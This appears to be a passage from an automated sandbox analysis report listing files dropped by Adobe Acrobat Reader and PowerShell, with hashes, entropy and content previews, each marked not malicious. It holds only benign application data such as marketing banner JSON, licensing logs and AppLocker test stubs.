Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.310419694075641
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSXvP7O4WsGiIPEeOF0Y2moAvJfQ1rPeUkwRe9:YvXKXBkvP7ObsdTeOWdGY16Ukee9
MD5:	C8E0313315666DFD0ED05E590BB29B44
SHA1:	EE134F7DF05AD0BE8BC8B513D5BCD8401C5C4CF2
SHA-256:	D7A574DD903E3D500717CD4F15002E42EAB03388B101AA3B4D6231962DA34097
SHA-512:	01D3CDCF68993F63DEB8377E199F2D74E21908BD5968E8934EA95C5DB656899E01D269EC7B2E34D38B9BD4456B30A96B85D242454BC6209CDAE681F7C61E3534
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3244181801593085
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSXvP7O4WsGiIPEeOF0Y2moAvJfFldPeUkwRe9:YvXKXBkvP7ObsdTeOWdGz8Ukee9
MD5:	537D0FC18115DDFF03A11A7801AE896E
SHA1:	ED7B1256CB6ABDC407B3122661CB2CB04988C9D5
SHA-256:	C3AF00982ED98FE630CD5354D81904D29DE72D14C2D44F4A84E1472BAC10E27D
SHA-512:	B730307B173244DC76DD6C2C448961AA95A4F2916019AA9C3DC09AFE145991378D66F7276076967CAA17FADFB82670F3DBB00736D0C738C1FB101D5E78C65390
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.332094950682661
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSXvP7O4WsGiIPEeOF0Y2moAvJfzdPeUkwRe9:YvXKXBkvP7ObsdTeOWdGb8Ukee9
MD5:	D7BA3F3AFAA3B930E7E146A4A13F1555
SHA1:	2903BB9474629D545B3FAB7A7497035382359D19
SHA-256:	7D6710126719381BB051F0E3749D9C0526E23142D8968C509331DD896E198FAD
SHA-512:	E3C1E46E75CF9484B31FBAE4AA7649585859EE908BF8F7BC4BB507EE1EB9BE9A0AB24E452838526B8BD5838483EBBA68D2F38CB55CE3DC428FD547BA21C86D28
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3130030117213485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSXvP7O4WsGiIPEeOF0Y2moAvJfYdPeUkwRe9:YvXKXBkvP7ObsdTeOWdGg8Ukee9
MD5:	292F9E58F419CE241F13B34621C0D33F
SHA1:	644DF007C3C20C422722FFE3D0AE2B8E5377C651
SHA-256:	5F357035BF391E788F95E496C3064CB61268021B79D35879EBB4FE2D321EBD18
SHA-512:	DC6A09AFC6B417C7CDC051720E75EDCD4A9BBFDFF1C43920DD9E79DDA76D9E66D1B5501E5B1C157F196B55E7D5B60E1BE2BD698A99E4A165B7D3A515534FA2BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2992823108069205
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSXvP7O4WsGiIPEeOF0Y2moAvJf+dPeUkwRe9:YvXKXBkvP7ObsdTeOWdG28Ukee9
MD5:	505B62939DBF4C1609203E9462A22F03
SHA1:	9AAF6C0D5A04C748D9F56D994882188AE6DB11C4
SHA-256:	8D8EC8E38DF356CC55B3460D48E8192FFAEE43DE45D1991794480B4DFD6BF2A2
SHA-512:	4C903E5569AE69FF3002C43C09A4E6600D5C3C8F6C723CDAFEE11C6D418DD071C388224EDFD1FC8B06323B87740A5ABD5150DD26DCFDD01ABA40B194582DEB2B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.296460741617057
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSXvP7O4WsGiIPEeOF0Y2moAvJfbPtdPeUkwRe9:YvXKXBkvP7ObsdTeOWdGDV8Ukee9
MD5:	16FEF2F1D5542787D03927417CDCD296
SHA1:	FDE223E4C1D25907613062FB99DD52CCEFABB836
SHA-256:	358BC8D6D675C590E0A6DB39872F3981CECC55458DE2ECD1748FD5221C9A7B82
SHA-512:	250CADD3D3C9622AF804D13CBDE433424DBC447DEFDDDCDBCB32ABEE2A9E537B2DF02B0997D7BB2EDFE29947C1A04E5BC59B34AC75792C04ED07D45A17FB2C1C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.301292175353536
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSXvP7O4WsGiIPEeOF0Y2moAvJf21rPeUkwRe9:YvXKXBkvP7ObsdTeOWdG+16Ukee9
MD5:	FF2BB5F7BFB12B07FC7764F3C2905A84
SHA1:	EEC168BE648DFD058B6EBD47CA25B3B313704884
SHA-256:	7A093E9A27995B07E061E65677084C3C8D382D53697786B9CCC0135ACA1B10A8
SHA-512:	91C0D917DA479E01650AF8E6840FD27E4922F1644C584A79462209EEC9C820A66D9592C0CA046A0E6956B44342D39ED9406A22E8535560C80324D20384860A85
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660655558333628
Encrypted:	false
SSDEEP:	24:Yv6XBkameOW+amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSy:YvEmeABgkDMUJUAh8cvMy
MD5:	4B99AA5EB98897D37D5F424D58FD5C59
SHA1:	283593A23AB426AA080DE797469E3C641BE90943
SHA-256:	7BFA59A3218478DB3DEBD43AB418713D08560DCF48BCF2ECC4CEA3246048A2D7
SHA-512:	A9128099C588A052F99156C4D2C677348C584AEF49B70375728E55AC908A6EE49F7C3190A73A0F18590A10E0B8AF2B155DE2196ED0BBB021C0D1F7B0D873DF0C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.275837735604717
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSXvP7O4WsGiIPEeOF0Y2moAvJfshHHrPeUkwRe9:YvXKXBkvP7ObsdTeOWdGUUUkee9
MD5:	1C4E0506920122AD2127564FA073E179
SHA1:	88E666559B93E7EBF7B8C74AEF3ED3478B88A612
SHA-256:	C3F7D2BBDB99A586D5DE6C69AF02B8F71C666BE068079E2EF85F47C5F6DB828D
SHA-512:	E461D0AA49EB8A8DAA29C0E6A0A3F7B82D8F0CF311F1C7227B7D46C677CC279B7B34AF468DF93518079289A0FD35F068C6AF9A3261150CCDBDCBB7E27FCBF301
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.294322325167384
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSXvP7O4WsGiIPEeOF0Y2moAvJTqgFCrPeUkwRe9:YvXKXBkvP7ObsdTeOWdGTq16Ukee9
MD5:	1C77CC2BF2E51008A6F535258B75D255
SHA1:	50C3AB1C27A85482B0F341EA7636664DB5932DEF
SHA-256:	47A6D4310630316A0F1ED17EFB701AB91D12081F58BBD519447FF0156F395734
SHA-512:	FBEE2DFFFA4EBE64BB0855628205422F5BC3AB896443284180CF0332B8301D5880D143E898BBF3C0F5DFAC372CE38D4124102BA69FABC9686DAE6C3F10D9A265
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"672d667b-a994-407d-bb44-dac62ef1f404","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736740757357,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.148819483491283
Encrypted:	false
SSDEEP:	24:Yktsa4ayidmUAAqe9Z66ZvqrsjjYjsj0S8dI427/2LSOCy7HO8cVn5imD920suFb:YWdvAAhy69sj+UC/Ql7HvcJ4mD9pn
MD5:	782BA8F5D4A1E7276A7DA1510408B3C7
SHA1:	817F7E99C11374DF6B9580747FAF99BC89C2AD04
SHA-256:	D853F8D0C740B23DAC6F2724B000706834AA5353CC92195EFC02466720A540FD
SHA-512:	A0C98A837698284C897E931FF12DC7BDCAB1088105B01FBC2807C44D739B14D6BDA9DAA9AFA3D0012FF18FBD874BD68EC38DDB75B660EA442390EE76F1447C98
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ab117e02cf501e5a2ad295f18f315022","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736568146000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"bfef6902f90b59815d01963043b5a93f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736568146000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"98a64d846dd4f6cf1dc8c9657964302d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736568146000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3a3a4a6b5569020eca78bcc0faaa4b4e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736568146000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ab50140bebc44af078df765ced1d4f4e","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736568146000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"98829396f52a54416551c2eb59ae3cf8","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.453664612385331
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsuAl4y:lNVmsw3SHtbDbPe0K3+fDZdN3y
MD5:	C6D47DA0E475F5E886D844480E1A791A
SHA1:	0733BB8988338590DB39F1776D9FF45611B228E3
SHA-256:	5D19721117D2B4FCA1BB2E9BFC122C977A2DADED94808618EE158423BA3717AC
SHA-512:	F7348360E81D2A14DE439B4D1454EF9099B948CBBA6B965196B9BEF45445A9BB33A20E73D108DD87990A7DBC36AFDCD434EA303DC07EB3109E2860916907A78A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9574612866006513
Encrypted:	false
SSDEEP:	48:7MQrvrBd6dHtbGIbPe0K3+fDy2dsu1VqFl2GL7msG:7B3SHtbDbPe0K3+fDZdN/KVmsG
MD5:	963371313D7954D8693F5A5904BE646D
SHA1:	65CC2DBC5BA0B57500FC8D142CC009E315BBA612
SHA-256:	2562AFBBB417EC75B806B595037E7521B0AB11C233D8F5011345B8B08AA9894D
SHA-512:	8B80908B3ABD382FA62E3F74BD74A8FB7A13CCDEE96FF8981E1EBEE6DD54D65FDE33D97F7D60FC9B8F2C362B6324D0778EAFE82619F41B96D744E0D44231E623
Malicious:	false
Preview:	.... .c......Q.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgGv+Clkhy5C/hEpCWj5sefOofxGYyu:6a6TZ44ADEGv+Cyc5ohs9OQGK
MD5:	214865200ABAC9F310B3BF412D839817
SHA1:	D54BA6622B6456672C5DE423D51A6029DFACEC9C
SHA-256:	C1E15452F6F5B26B4DA2BDAEEF25F4B51566EC0F97C7C3D09ED37DEA4DCBDA01
SHA-512:	98A0359FE5C6A5AD91EF99A122463F870B4ECDB53B70879F33D6020E2701B0687176FC83F73DC55AD124154860D790F2E0D4827449E472301F00374B1D04BA2C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulBiPlllZ:NllUUd
MD5:	2C728892207486CD886F1A3557B47848
SHA1:	673A0EF98F6F703E7A95ECB62A403AF0F7290CA8
SHA-256:	986058A667E62EE45B9A966E20CC456D2562E0C40544F251158265AABC2D84F5
SHA-512:	11C49519360638895E0A3CDA651D9AE56CC787BFB3BDD26076ED83A686DF82642902CB0899A552CD396EFF7F882949D422361063153DCFDC7A1D7766586103C3
Malicious:	false
Preview:	@...e...................................(............@..........

C:\Users\user\AppData\Local\Temp\MSIb2b1a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsye:Qw946cPbiOxDlbYnuRK+bd
MD5:	F1A82B2FB3037DAA652684B3C843C068
SHA1:	2C04CB351323960F75810CAB1981242DC65B38B2
SHA-256:	D49EA737692FE3376F9DBC6C628A01202083F2EBD1B406879864FEB28F9E9744
SHA-512:	2A5932EDCFB725CF1063572DFDBD0894B3BEF12EDF3A80523E1C3DE1C3B4D50EF33BE73BCCF6EE4207B5B93B55EED42B244D5453D4538B8E9F06238C94B61D91
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.4.2.:.4.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bvplxo50.gbv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vygkr3cn.h34.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-42-40-494.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.315068830154459
Encrypted:	false
SSDEEP:	384:aFhshhIk6cPUZHaem3DLq4L5RixUQaaE2VaAWewWP++db9VPdEsLNQNs5oyA1+GM:/WP
MD5:	27D6CA1EE1694C97E9C7FB03EA16E01D
SHA1:	E13B3A54455D12BA2A9103DCF9173EF243FF87EA
SHA-256:	4ED59FE85CCAD2D00FD9FC1449C3B6BDCCA53CE40A38A6A909C6446FB0C57987
SHA-512:	89BC7B87A9008BA9875DDAA200E4DAA9DE1097744C3D8D65DDDA2ACA49A372F49479422618B38D3DC3984222CC67983F72ED56635D3A34030DEC651E36115A27
Malicious:	false
Preview:	SessionID=e99110aa-87ea-4da7-a766-52cd16e1a6bf.1736563360512 Timestamp=2025-01-10T21:42:40:512-0500 ThreadID=3020 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e99110aa-87ea-4da7-a766-52cd16e1a6bf.1736563360512 Timestamp=2025-01-10T21:42:40:513-0500 ThreadID=3020 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e99110aa-87ea-4da7-a766-52cd16e1a6bf.1736563360512 Timestamp=2025-01-10T21:42:40:513-0500 ThreadID=3020 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e99110aa-87ea-4da7-a766-52cd16e1a6bf.1736563360512 Timestamp=2025-01-10T21:42:40:513-0500 ThreadID=3020 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e99110aa-87ea-4da7-a766-52cd16e1a6bf.1736563360512 Timestamp=2025-01-10T21:42:40:513-0500 ThreadID=3020 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.40838780090354
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRCy:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRp
MD5:	ACA402FF490BC76EBE4AB5CF28CE6FEE
SHA1:	581B98D25E78B620ACF826EC6B52A5F03AB9558C
SHA-256:	E079CD44878355A4F7FE64021BC0CF1145932E8E6761AE5B045FC9959D6E33A1
